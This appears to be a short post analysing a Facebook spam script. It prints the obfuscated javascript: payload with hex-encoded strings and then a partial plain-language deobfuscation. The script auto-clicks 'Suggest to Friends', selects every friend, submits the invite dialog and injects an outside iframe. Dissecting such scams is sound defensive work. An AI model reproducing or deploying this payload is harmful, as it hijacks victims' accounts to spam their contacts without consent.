Here is the original:
javascript:var _0x5e5a=["x69x6Ex6Ex65x72x48x54x4Dx4C","x61x70x70x36x31x36x35x35x34x39x35x32x36x5Fx62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x3Cx61x20x69x64x3Dx22x73x75x67x67x65x73x74x22x20x68x72x65x66x3D

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x61x22x20x72x65x6Cx3Dx22x64x69x61x6Cx6Fx67x2Dx70x6Fx73x74x22x3E

x53x75x67x67x65x73x74x20x74x6Fx20x46x72x69x65x6Ex64x73x3Cx2Fx61x3E","x73x75x67x67x65x73x74","x4Dx6Fx75x73x65x45x76x65x6Ex74x73","x63x72x65x61x74x65x45x76x65x6Ex74","x63x6Cx69x63x6B","x69x6Ex69x74x45x76x65x6Ex74","x64x69x73x70x61x74x63x68x45x76x65x6Ex74","x73x65x6Cx65x63x74x5Fx61x6Cx6C","x73x67x6Dx5Fx69x6Ex76x69x74x65x5Fx66x6Fx72x6D","x2Fx61x6Ax61x78x2Fx73x6Fx63x69x61x6Cx5Fx67x72x61x70x68x2Fx69x6Ex76x69x74x65x5F

x64x69x61x6Cx6Fx67x2Ex70x68x70","x73x75x62x6Dx69x74x44x69x61x6Cx6Fx67","x3Cx69x66x72x61x6Dx65x20x73x72x63x3Dx22x68x74x74x70x3Ax2Fx2Fx70x72x6Fx66x69x6C

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x6Cx69x6Ex67x3Dx22x6Ex6Fx22x3Ex3Cx2Fx69x66x72x61x6Dx65x3E"];var variables=[_0x5e5a[0],_0x5e5a[1],_0x5e5a[2],_0x5e5a[3],_0x5e5a[4],_0x5e5a[5],_0x5e5a[6],_0x5e5a[7],_0x5e5a[8],_0x5e5a[9],_0x5e5a[10],_0x5e5a[11],_0x5e5a[12],_0x5e5a[13]];void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true);void ss[variables[9]](c);void setTimeout(function (){fs[variables[10]]();} ,4000);void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000);void (document[variables[2]](variables[1])[variables[0]]=_0x5e5a[14]);

Which seems to boil down to this:
void (document[getElementById](app6165549526_body)[innerHTML]=Suggest to Friends);
var ss=document[getElementById](suggest);
var c=document[createEvent](MouseEvents);

c[initEvent](click,true,true);

void ss[dispatchEvent](c);

void setTimeout(function (){fs[select_all]();} ,4000);

void setTimeout(function (){SocialGraphManager[submitDialog]

(sgm_invite_form,/ajax/social_graph/invite_dialog.php);} ,5000);

void (document[getElementById](app6165549526_body)[innerHTML]=);